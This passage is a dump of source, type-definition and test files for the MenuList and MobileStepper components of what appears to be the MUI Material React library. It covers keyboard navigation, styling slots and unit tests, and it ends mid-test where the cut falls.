    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport useRovingTabIndex from '../utils/useRovingTabIndex';\nimport ownerDocument from '../utils/ownerDocument';\nimport List from '../List';\nimport getActiveElement from '../utils/getActiveElement';\nimport getScrollbarSize from '../utils/getScrollbarSize';\nimport useForkRef from '../utils/useForkRef';\nimport useEnhancedEffect from '../utils/useEnhancedEffect';\nimport { ownerWindow } from '../utils';\n\nfunction textCriteriaMatches(nextFocus, textCriteria) {\n  if (textCriteria === undefined) {\n    return true;\n  }\n  let text = nextFocus.innerText;\n  if (text === undefined) {\n    // jsdom doesn't support innerText\n    text = nextFocus.textContent;\n  }\n  text = text.trim().toLowerCase();\n  if (text.length === 0) {\n    return false;\n  }\n  if (textCriteria.repeating) {\n    return text[0] === textCriteria.keys[0];\n  }\n  return text.startsWith(textCriteria.keys.join(''));\n}\n\nfunction shouldFocusWithTextCriteria(element, criteria, disabledItemsFocusable) {\n  if (!textCriteriaMatches(element, criteria)) {\n    return false;\n  }\n\n  return shouldFocus(element, disabledItemsFocusable);\n}\n\nfunction shouldFocus(element, disabledItemsFocusable) {\n  if (!element || !element.hasAttribute('tabindex')) {\n    return false;\n  }\n\n  if (disabledItemsFocusable) {\n    return true;\n  }\n\n  return !element.disabled && element.getAttribute('aria-disabled') !== 'true';\n}\n\n/**\n * A permanently displayed menu following https://www.w3.org/WAI/ARIA/apg/patterns/menu-button/.\n * It's exposed to help customization of the [`Menu`](/material-ui/api/menu/) component if you\n * use it separately you need to move focus into the component manually. Once\n * the focus is placed inside the component it is fully keyboard accessible.\n */\nconst MenuList = React.forwardRef(function MenuList(props, ref) {\n  const {\n    // private\n    // eslint-disable-next-line react/prop-types\n    actions,\n    autoFocus = false,\n    autoFocusItem = false,\n    children,\n    className,\n    disabledItemsFocusable = false,\n    disableListWrap = false,\n    onKeyDown,\n    variant = 'selectedMenu',\n    ...other\n  } = props;\n  const listRef = React.useRef(null);\n  const textCriteriaRef = React.useRef({\n    keys: [],\n    repeating: true,\n    previousKeyMatched: true,\n    lastTime: null,\n  });\n\n  useEnhancedEffect(() => {\n    if (autoFocus) {\n      listRef.current.focus();\n    }\n  }, [autoFocus]);\n\n  React.useImperativeHandle(\n    actions,\n    () => ({\n      adjustStyleForScrollbar: (containerElement, { direction }) => {\n        // Let's ignore that piece of logic if users are already overriding the width\n        // of the menu.\n        const noExplicitWidth = !listRef.current.style.width;\n        if (containerElement.clientHeight < listRef.current.clientHeight && noExplicitWidth) {\n          const scrollbarSize = `${getScrollbarSize(ownerWindow(containerElement))}px`;\n          listRef.current.style[direction === 'rtl' ? 'paddingLeft' : 'paddingRight'] =\n            scrollbarSize;\n          listRef.current.style.width = `calc(100% + ${scrollbarSize})`;\n        }\n        return listRef.current;\n      },\n    }),\n    [],\n  );\n\n  /**\n   * the index of the item should receive focus\n   * in a `variant=\"selectedMenu\"` it's the first `selected` item\n   * otherwise it's the very first item.\n   */\n  let activeItemIndex = -1;\n  // since we inject focus related props into children we have to do a lookahead\n  // to check if there is a `selected` item. We're looking for the last `selected`\n  // item and use the first valid item as a fallback\n  React.Children.forEach(children, (child, index) => {\n    if (!React.isValidElement(child)) {\n      if (activeItemIndex === index) {\n        activeItemIndex += 1;\n        if (activeItemIndex >= children.length) {\n          // there are no focusable items within the list.\n          activeItemIndex = -1;\n        }\n      }\n      return;\n    }\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (isFragment(child)) {\n        console.error(\n          [\n            \"MUI: The Menu component doesn't accept a Fragment as a child.\",\n            'Consider providing an array instead.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    if (!child.props.disabled) {\n      if (variant === 'selectedMenu' && child.props.selected) {\n        activeItemIndex = index;\n      } else if (activeItemIndex === -1) {\n        activeItemIndex = index;\n      }\n    }\n\n    if (\n      activeItemIndex === index &&\n      (child.props.disabled || child.props.muiSkipListHighlight || child.type.muiSkipListHighlight)\n    ) {\n      activeItemIndex += 1;\n      if (activeItemIndex >= children.length) {\n        // there are no focusable items within the list.\n        activeItemIndex = -1;\n      }\n    }\n  });\n\n  const { focusNext, getContainerProps, getItemProps } = useRovingTabIndex({\n    focusableIndex: activeItemIndex,\n    orientation: 'vertical',\n    shouldWrap: !disableListWrap,\n    shouldFocus: (element) => shouldFocus(element, disabledItemsFocusable),\n  });\n  const rovingTabIndexContainerProps = getContainerProps();\n  const handleRef = useForkRef(listRef, rovingTabIndexContainerProps.ref, ref);\n\n  let focusableIndex = 0;\n  const items = React.Children.map(children, (child, index) => {\n    if (\n      !React.isValidElement(child) ||\n      child.props.muiSkipListHighlight ||\n      child.type.muiSkipListHighlight\n    ) {\n      return child;\n    }\n\n    const rovingTabIndexItemProps = getItemProps(focusableIndex, child.ref);\n    const newChildProps = { ref: rovingTabIndexItemProps.ref };\n\n    if (child.props.tabIndex === undefined && variant === 'selectedMenu') {\n      newChildProps.tabIndex = rovingTabIndexItemProps.tabIndex;\n    }\n\n    if (index === activeItemIndex && autoFocusItem) {\n      newChildProps.autoFocus = true;\n    }\n\n    focusableIndex += 1;\n\n    return React.cloneElement(child, newChildProps);\n  });\n\n  const handleKeyDown = (event) => {\n    const isModifierKeyPressed = event.ctrlKey || event.metaKey || event.altKey;\n\n    if (isModifierKeyPressed && onKeyDown) {\n      onKeyDown(event);\n\n      return;\n    }\n\n    rovingTabIndexContainerProps.onKeyDown(event);\n\n    if (event.key.length === 1) {\n      const criteria = textCriteriaRef.current;\n      const lowerKey = event.key.toLowerCase();\n      const currTime = performance.now();\n\n      if (criteria.keys.length > 0) {\n        // Reset\n        if (currTime - criteria.lastTime > 500) {\n          criteria.keys = [];\n          criteria.repeating = true;\n          criteria.previousKeyMatched = true;\n        } else if (criteria.repeating && lowerKey !== criteria.keys[0]) {\n          criteria.repeating = false;\n        }\n      }\n\n      criteria.lastTime = currTime;\n      criteria.keys.push(lowerKey);\n\n      const currentFocus = getActiveElement(ownerDocument(listRef.current));\n      const keepFocusOnCurrent =\n        currentFocus && !criteria.repeating && textCriteriaMatches(currentFocus, criteria);\n\n      if (\n        criteria.previousKeyMatched &&\n        (keepFocusOnCurrent ||\n          focusNext((element) =>\n            shouldFocusWithTextCriteria(element, criteria, disabledItemsFocusable),\n          ) !== -1)\n      ) {\n        event.preventDefault();\n      } else {\n        criteria.previousKeyMatched = false;\n      }\n    }\n\n    if (onKeyDown) {\n      onKeyDown(event);\n    }\n  };\n\n  return (\n    <List\n      role=\"menu\"\n      ref={handleRef}\n      className={className}\n      onKeyDown={handleKeyDown}\n      onFocus={rovingTabIndexContainerProps.onFocus}\n      tabIndex={-1}\n      {...other}\n    >\n      {items}\n    </List>\n  );\n});\n\nMenuList.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, will focus the `[role=\"menu\"]` container and move into tab order.\n   * @default false\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * If `true`, will focus the first menuitem if `variant=\"menu\"` or selected item\n   * if `variant=\"selectedMenu\"`.\n   * @default false\n   */\n  autoFocusItem: PropTypes.bool,\n  /**\n   * MenuList contents, normally `MenuItem`s.\n   */\n  children: PropTypes.node,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, will allow focus on disabled items.\n   * @default false\n   */\n  disabledItemsFocusable: PropTypes.bool,\n  /**\n   * If `true`, the menu items will not wrap focus.\n   * @default false\n   */\n  disableListWrap: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  onKeyDown: PropTypes.func,\n  /**\n   * The variant to use. Use `menu` to prevent selected items from impacting the initial focus\n   * and the vertical alignment relative to the anchor element.\n   * @default 'selectedMenu'\n   */\n  variant: PropTypes.oneOf(['menu', 'selectedMenu']),\n};\n\nexport default MenuList;\n"
  },
  {
    "path": "packages/mui-material/src/MenuList/MenuList.spec.tsx",
    "content": "import MenuList from '@mui/material/MenuList';\n\n// component prop works as expected\n<MenuList component=\"div\" />;\n"
  },
  {
    "path": "packages/mui-material/src/MenuList/MenuList.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { stub } from 'sinon';\nimport { createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport Divider from '@mui/material/Divider';\nimport MenuList from '@mui/material/MenuList';\nimport MenuItem from '@mui/material/MenuItem';\nimport List from '@mui/material/List';\nimport getScrollbarSize from '../utils/getScrollbarSize';\nimport describeConformance from '../../test/describeConformance';\n\nfunction setStyleWidthForJsdomOrBrowser(style, width) {\n  style.width = '';\n  style.width = 'calc(100% + 0px)';\n  if (style.width !== 'calc(100% + 0px)') {\n    // For jsdom\n    Object.defineProperty(style, 'width', { writable: true, value: '' });\n  }\n  style.width = width;\n}\n\ndescribe('<MenuList />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<MenuList />, () => ({\n    render,\n    classes: {},\n    inheritComponent: List,\n    refInstanceof: window.HTMLUListElement,\n    skip: ['componentProp', 'themeDefaultProps', 'themeStyleOverrides', 'themeVariants'],\n  }));\n\n  it('should render a list with role menu and tabIndex -1', () => {\n    render(\n      <MenuList>\n        <div role=\"menuitem\">one</div>\n        <div role=\"menuitem\">two</div>\n      </MenuList>,\n    );\n\n    expect(screen.getByRole('menu')).to.have.attribute('tabIndex', '-1');\n  });\n\n  describe('prop: children', () => {\n    it('should support null children', () => {\n      render(\n        <MenuList>\n          <div role=\"menuitem\">one</div>\n          <div role=\"menuitem\">two</div>\n          {null}\n        </MenuList>,\n      );\n\n      expect(screen.getAllByRole('menuitem')).to.have.length(2);\n    });\n\n    it('should not add tabIndex to presentation elements like Divider when all Menu Items are disabled', () => {\n      render(\n        <MenuList>\n          <MenuItem>one</MenuItem>\n          <Divider />\n          <MenuItem>two</MenuItem>\n        </MenuList>,\n      );\n\n      expect(screen.getByRole('separator')).not.to.have.attribute('tabIndex');\n    });\n  });\n\n  describe('actions: adjustStyleForScrollbar', () => {\n    const expectedPadding = `${getScrollbarSize(window)}px`;\n\n    it('should not adjust style when container element height is greater', () => {\n      const menuListActionsRef = React.createRef();\n      const listRef = React.createRef();\n      render(<MenuList ref={listRef} actions={menuListActionsRef} />);\n      const list = listRef.current;\n\n      expect(list.style).to.have.property('paddingRight', '');\n      expect(list.style).to.have.property('paddingLeft', '');\n      expect(list.style).to.have.property('width', '');\n\n      menuListActionsRef.current.adjustStyleForScrollbar(\n        { clientHeight: 20 },\n        { direction: 'ltr' },\n      );\n\n      expect(list.style).to.have.property('paddingRight', '');\n      expect(list.style).to.have.property('paddingLeft', '');\n      expect(list.style).to.have.property('width', '');\n    });\n\n    it('should adjust style when container element height is less', () => {\n      const menuListActionsRef = React.createRef();\n      const listRef = React.createRef();\n      render(<MenuList ref={listRef} actions={menuListActionsRef} />);\n      const list = listRef.current;\n      setStyleWidthForJsdomOrBrowser(list.style, '');\n      stub(list, 'clientHeight').get(() => 11);\n\n      expect(list.style).to.have.property('paddingRight', '');\n      expect(list.style).to.have.property('paddingLeft', '');\n      expect(list.style).to.have.property('width', '');\n\n      menuListActionsRef.current.adjustStyleForScrollbar(\n        { clientHeight: 10 },\n        { direction: 'ltr' },\n      );\n\n      expect(list.style).to.have.property('paddingRight', expectedPadding);\n      expect(list.style).to.have.property('paddingLeft', '');\n      expect(list.style).to.have.property('width', `calc(100% + ${expectedPadding})`);\n    });\n\n    it('should adjust paddingLeft when direction=rtl', () => {\n      const menuListActionsRef = React.createRef();\n      const listRef = React.createRef();\n      render(<MenuList ref={listRef} actions={menuListActionsRef} />);\n      const list = listRef.current;\n      setStyleWidthForJsdomOrBrowser(list.style, '');\n      stub(list, 'clientHeight').get(() => 11);\n\n      expect(list.style).to.have.property('paddingRight', '');\n      expect(list.style).to.have.property('paddingLeft', '');\n      expect(list.style).to.have.property('width', '');\n\n      menuListActionsRef.current.adjustStyleForScrollbar(\n        { clientHeight: 10 },\n        { direction: 'rtl' },\n      );\n\n      expect(list.style).to.have.property('paddingRight', '');\n      expect(list.style).to.have.property('paddingLeft', expectedPadding);\n      expect(list.style).to.have.property('width', `calc(100% + ${expectedPadding})`);\n    });\n\n    it('should not adjust styles when width already specified', () => {\n      const menuListActionsRef = React.createRef();\n      const listRef = React.createRef();\n      render(<MenuList ref={listRef} actions={menuListActionsRef} />);\n      const list = listRef.current;\n      setStyleWidthForJsdomOrBrowser(list.style, '10px');\n      Object.defineProperty(list, 'clientHeight', { value: 11 });\n\n      expect(list.style).to.have.property('paddingRight', '');\n      expect(list.style).to.have.property('paddingLeft', '');\n      expect(list.style).to.have.property('width', '10px');\n\n      menuListActionsRef.current.adjustStyleForScrollbar(\n        { clientHeight: 10 },\n        { direction: 'rtl' },\n      );\n\n      expect(list.style).to.have.property('paddingRight', '');\n      expect(list.style).to.have.property('paddingLeft', '');\n      expect(list.style).to.have.property('width', '10px');\n    });\n  });\n\n  describe('keyboard navigation', () => {\n    it('should move focus to the next item when pressing the right arrow key', async () => {\n      const { user } = render(\n        <MenuList>\n          <MenuItem>one</MenuItem>\n          <Divider />\n          <MenuItem disabled>two</MenuItem>\n          <MenuItem>three</MenuItem>\n        </MenuList>,\n      );\n\n      const itemElements = screen.getAllByRole('menuitem');\n\n      await user.tab();\n      expect(itemElements[0]).toHaveFocus();\n      expect(itemElements[0]).to.have.attribute('tabIndex', '0');\n      expect(itemElements[1]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowDown}');\n      expect(itemElements[2]).toHaveFocus();\n      expect(itemElements[2]).to.have.attribute('tabIndex', '0');\n      expect(itemElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowDown}');\n      expect(itemElements[0]).toHaveFocus();\n      expect(itemElements[0]).to.have.attribute('tabIndex', '0');\n      expect(itemElements[1]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowUp}');\n      expect(itemElements[2]).toHaveFocus();\n      expect(itemElements[2]).to.have.attribute('tabIndex', '0');\n      expect(itemElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowUp}');\n      expect(itemElements[0]).toHaveFocus();\n      expect(itemElements[0]).to.have.attribute('tabIndex', '0');\n      expect(itemElements[1]).to.have.attribute('tabIndex', '-1');\n    });\n\n    it('should add tabindex=\"0\" to the focused item', async () => {\n      const { user } = render(\n        <MenuList>\n          <MenuItem>one</MenuItem>\n          <Divider />\n          <MenuItem>two</MenuItem>\n        </MenuList>,\n      );\n\n      const tabElements = screen.getAllByRole('menuitem');\n\n      fireEvent.focus(tabElements[1]);\n      expect(tabElements[1]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.click(tabElements[0]);\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[1]).to.have.attribute('tabIndex', '-1');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/MenuList/index.d.ts",
    "content": "export { default } from './MenuList';\nexport * from './MenuList';\n"
  },
  {
    "path": "packages/mui-material/src/MenuList/index.js",
    "content": "export { default } from './MenuList';\n"
  },
  {
    "path": "packages/mui-material/src/MobileStepper/MobileStepper.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { PaperProps } from '../Paper';\nimport { LinearProgressProps } from '../LinearProgress';\nimport { MobileStepperClasses } from './mobileStepperClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface MobileStepperSlots {\n  /**\n   * The component that renders the root slot.\n   * @default Paper\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the progress slot.\n   * @default LinearProgress\n   */\n  progress: React.ElementType;\n  /**\n   * The component that renders the dots slot.\n   * @default 'div'\n   */\n  dots: React.ElementType;\n  /**\n   * The component that renders the dot slot.\n   * @default 'div'\n   */\n  dot: React.ElementType;\n}\n\nexport interface MobileStepperRootSlotPropsOverrides {}\nexport interface MobileStepperProgressSlotPropsOverrides {}\nexport interface MobileStepperDotsSlotPropsOverrides {}\nexport interface MobileStepperDotSlotPropsOverrides {}\n\nexport type MobileStepperSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  MobileStepperSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [Paper](https://mui.com/material-ui/api/paper/#props) component.\n     */\n    root: SlotProps<\n      React.ElementType<PaperProps>,\n      MobileStepperRootSlotPropsOverrides,\n      MobileStepperOwnerState\n    >;\n    /**\n     * Props forwarded to the progress slot.\n     * By default, the available props are based on the [LinearProgress](https://mui.com/material-ui/api/linear-progress/#props) component.\n     */\n    progress: SlotProps<\n      React.ElementType<LinearProgressProps>,\n      MobileStepperProgressSlotPropsOverrides,\n      MobileStepperOwnerState\n    >;\n    /**\n     * Props forwarded to the dots slot.\n     * By default, the available props are based on the div element.\n     */\n    dots: SlotProps<'div', MobileStepperDotsSlotPropsOverrides, MobileStepperOwnerState>;\n    /**\n     * Props forwarded to the dot slot.\n     * By default, the available props are based on the div element.\n     */\n    dot: SlotProps<'div', MobileStepperDotSlotPropsOverrides, MobileStepperOwnerState>;\n  }\n>;\n\nexport interface MobileStepperProps\n  extends StandardProps<PaperProps, 'children' | 'variant'>, MobileStepperSlotsAndSlotProps {\n  /**\n   * Set the active step (zero based index).\n   * Defines which dot is highlighted when the variant is 'dots'.\n   * @default 0\n   */\n  activeStep?: number | undefined;\n  /**\n   * A back button element. For instance, it can be a `Button` or an `IconButton`.\n   */\n  backButton: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<MobileStepperClasses> | undefined;\n  /**\n   * A next button element. For instance, it can be a `Button` or an `IconButton`.\n   */\n  nextButton: React.ReactNode;\n  /**\n   * Set the positioning type.\n   * @default 'bottom'\n   */\n  position?: 'bottom' | 'top' | 'static' | undefined;\n  /**\n   * The total steps.\n   */\n  steps: number;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The variant to use.\n   * @default 'dots'\n   */\n  variant?: 'text' | 'dots' | 'progress' | undefined;\n}\n\nexport interface MobileStepperOwnerState extends Omit<MobileStepperProps, 'slots' | 'slotProps'> {}\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [MobileStepper API](https://next.mui.com/material-ui/api/mobile-stepper/)\n * - inherits [Paper API](https://next.mui.com/material-ui/api/paper/)\n */\nexport default function MobileStepper(props: MobileStepperProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/MobileStepper/MobileStepper.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport integerPropType from '@mui/utils/integerPropType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport Paper from '../Paper';\nimport capitalize from '../utils/capitalize';\nimport LinearProgress from '../LinearProgress';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport slotShouldForwardProp from '../styles/slotShouldForwardProp';\nimport { getMobileStepperUtilityClass } from './mobileStepperClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, position } = ownerState;\n\n  const slots = {\n    root: ['root', `position${capitalize(position)}`],\n    dots: ['dots'],\n    dot: ['dot'],\n    dotActive: ['dotActive'],\n    progress: ['progress'],\n  };\n\n  return composeClasses(slots, getMobileStepperUtilityClass, classes);\n};\n\nconst MobileStepperRoot = styled(Paper, {\n  name: 'MuiMobileStepper',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[`position${capitalize(ownerState.position)}`]];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'flex',\n    flexDirection: 'row',\n    justifyContent: 'space-between',\n    alignItems: 'center',\n    background: (theme.vars || theme).palette.background.default,\n    padding: 8,\n    variants: [\n      {\n        props: ({ position }) => position === 'top' || position === 'bottom',\n        style: {\n          position: 'fixed',\n          left: 0,\n          right: 0,\n          zIndex: (theme.vars || theme).zIndex.mobileStepper,\n        },\n      },\n      {\n        props: { position: 'top' },\n        style: { top: 0 },\n      },\n      {\n        props: { position: 'bottom' },\n        style: { bottom: 0 },\n      },\n    ],\n  })),\n);\n\nconst MobileStepperDots = styled('div', {\n  name: 'MuiMobileStepper',\n  slot: 'Dots',\n})({\n  variants: [\n    {\n      props: { variant: 'dots' },\n      style: {\n        display: 'flex',\n        flexDirection: 'row',\n      },\n    },\n  ],\n});\n\nconst MobileStepperDot = styled('div', {\n  name: 'MuiMobileStepper',\n  slot: 'Dot',\n  shouldForwardProp: (prop) => slotShouldForwardProp(prop) && prop !== 'dotActive',\n  overridesResolver: (props, styles) => {\n    const { dotActive } = props;\n\n    return [styles.dot, dotActive && styles.dotActive];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    variants: [\n      {\n        props: { variant: 'dots' },\n        style: {\n          transition: theme.transitions.create('background-color', {\n            duration: theme.transitions.duration.shortest,\n          }),\n          backgroundColor: (theme.vars || theme).palette.action.disabled,\n          borderRadius: '50%',\n          width: 8,\n          height: 8,\n          margin: '0 2px',\n        },\n      },\n      {\n        props: { variant: 'dots', dotActive: true },\n        style: {\n          backgroundColor: (theme.vars || theme).palette.primary.main,\n        },\n      },\n    ],\n  })),\n);\n\nconst MobileStepperProgress = styled(LinearProgress, {\n  name: 'MuiMobileStepper',\n  slot: 'Progress',\n})({\n  variants: [\n    {\n      props: { variant: 'progress' },\n      style: {\n        width: '50%',\n      },\n    },\n  ],\n});\n\nconst MobileStepper = React.forwardRef(function MobileStepper(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiMobileStepper' });\n  const {\n    activeStep = 0,\n    backButton,\n    className,\n    nextButton,\n    position = 'bottom',\n    steps,\n    variant = 'dots',\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    activeStep,\n    position,\n    variant,\n  };\n\n  let value;\n  if (variant === 'progress') {\n    if (steps === 1) {\n      value = 100;\n    } else {\n      value = Math.ceil((activeStep / (steps - 1)) * 100);\n    }\n  }\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    elementType: MobileStepperRoot,\n    shouldForwardComponentProp: true,\n    className: clsx(classes.root, className),\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    additionalProps: {\n      square: true,\n      elevation: 0,\n    },\n  });\n\n  const [DotsSlot, dotsSlotProps] = useSlot('dots', {\n    className: classes.dots,\n    elementType: MobileStepperDots,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [DotSlot, dotSlotProps] = useSlot('dot', {\n    elementType: MobileStepperDot,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const [ProgressSlot, progressSlotProps] = useSlot('progress', {\n    className: classes.progress,\n    elementType: MobileStepperProgress,\n    shouldForwardComponentProp: true,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      value,\n      variant: 'determinate',\n    },\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      {backButton}\n      {variant === 'text' && (\n        <React.Fragment>\n          {activeStep + 1} / {steps}\n        </React.Fragment>\n      )}\n\n      {variant === 'dots' && (\n        <DotsSlot {...dotsSlotProps}>\n          {[...new Array(steps)].map((_, index) => (\n            <DotSlot\n              key={index}\n              {...dotSlotProps}\n              className={clsx(\n                classes.dot,\n                { [classes.dotActive]: index === activeStep },\n                dotSlotProps.className,\n              )}\n              dotActive={index === activeStep}\n            />\n          ))}\n        </DotsSlot>\n      )}\n\n      {variant === 'progress' && <ProgressSlot {...progressSlotProps} />}\n\n      {nextButton}\n    </RootSlot>\n  );\n});\n\nMobileStepper.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Set the active step (zero based index).\n   * Defines which dot is highlighted when the variant is 'dots'.\n   * @default 0\n   */\n  activeStep: integerPropType,\n  /**\n   * A back button element. For instance, it can be a `Button` or an `IconButton`.\n   */\n  backButton: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * A next button element. For instance, it can be a `Button` or an `IconButton`.\n   */\n  nextButton: PropTypes.node,\n  /**\n   * Set the positioning type.\n   * @default 'bottom'\n   */\n  position: PropTypes.oneOf(['bottom', 'static', 'top']),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    dot: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    dots: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    progress: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    dot: PropTypes.elementType,\n    dots: PropTypes.elementType,\n    progress: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The total steps.\n   */\n  steps: integerPropType.isRequired,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The variant to use.\n   * @default 'dots'\n   */\n  variant: PropTypes.oneOf(['dots', 'progress', 'text']),\n};\n\nexport default MobileStepper;\n"
  },
  {
    "path": "packages/mui-material/src/MobileStepper/MobileStepper.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport Paper, { paperClasses } from '@mui/material/Paper';\nimport Button from '@mui/material/Button';\nimport MobileStepper, { mobileStepperClasses as classes } from '@mui/material/MobileStepper';\nimport KeyboardArrowRight from '../internal/svg-icons/KeyboardArrowRight';\nimport KeyboardArrowLeft from '../internal/svg-icons/KeyboardArrowLeft';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<MobileStepper />', () => {\n  const { render } = createRenderer();\n  const defaultProps = {\n    steps: 2,\n    nextButton: (\n      <Button aria-label=\"next\">\n        Next\n        <KeyboardArrowRight />\n      </Button>\n    ),\n    backButton: (\n      <Button aria-label=\"back\">\n        <KeyboardArrowLeft />\n        Back\n      </Button>\n    ),\n  };\n\n  function CustomPaper({ square, ownerState, ...other }) {\n    return <i data-testid=\"custom\" {...other} />;\n  }\n\n  function CustomDot({ dotActive, ownerState, ...other }) {\n    return <i data-testid=\"custom\" {...other} />;\n  }\n\n  describeConformance(<MobileStepper {...defaultProps} steps={1} />, () => ({\n    classes,\n    inheritComponent: Paper,\n    render,\n    muiName: 'MuiMobileStepper',\n    testVariantProps: { variant: 'progress' },\n    testDeepOverrides: { slotName: 'dot', slotClassName: classes.dot },\n    testStateOverrides: { prop: 'position', value: 'static', styleKey: 'positionStatic' },\n    refInstanceof: window.HTMLDivElement,\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n        testWithComponent: CustomPaper,\n        testWithElement: CustomPaper,\n      },\n      dots: {\n        expectedClassName: classes.dots,\n      },\n      dot: {\n        expectedClassName: classes.dot,\n        testWithComponent: CustomDot,\n        testWithElement: CustomDot,\n      },\n    },\n    skip: ['componentProp'],\n  }));\n\n  describeConformance(<MobileStepper {...defaultProps} steps={1} variant=\"progress\" />, () => ({\n    inheritComponent: Paper,\n    render,\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n        testWithComponent: CustomPaper,\n        testWithElement: CustomPaper,\n      },\n      progress: {\n        expectedClassName: classes.progress,\n      },\n    },\n    only: [\n      'slotPropsProp',\n      'slotPropsCallback',\n      'slotPropsCallbackWithPropsAsOwnerState',\n      'slotsProp',\n    ],\n  }));\n\n  it('should render a Paper with 0 elevation', () => {\n    const { container } = render(<MobileStepper {...defaultProps} />);\n    expect(container.firstChild).to.have.class(paperClasses.elevation0);\n  });\n\n  it('should render with the bottom class if position prop is set to bottom', () => {\n    const { container } = render(<MobileStepper {...defaultProps} position=\"bottom\" />);\n    expect(container.firstChild).to.have.class(classes.positionBottom);\n  });\n\n  it('should render with the top class if position prop is set to top', () => {\n    const { container } = render(<MobileStepper {...defaultProps} position=\"top\" />);\n    expect(container.firstChild).to.have.class(classes.positionTop);\n  });\n\n  it('should render two buttons', () => {\n    render(<MobileStepper {...defaultProps} />);\n    expect(screen.getAllByRole('button')).to.have.lengthOf(2);\n  });\n\n  it('should render the back button', () => {\n    render(<MobileStepper {...defaultProps} />);\n    const backButton = screen.getByRole('button', { name: 'back' });\n    expect(backButton).not.to.equal(null);\n    expect(screen.queryByTestId('KeyboardArrowLeftIcon')).not.to.equal(null);\n  });\n\n  it('should render next button', () => {\n    render(<MobileStepper {...defaultProps} />);\n    const nextButton = screen.getByRole('button', { name: 'next' });\n    expect(nextButton).not.to.equal(null);\n    expect(screen.queryByTestId('KeyboardArrowRightIcon')).not.to.equal(null);\n  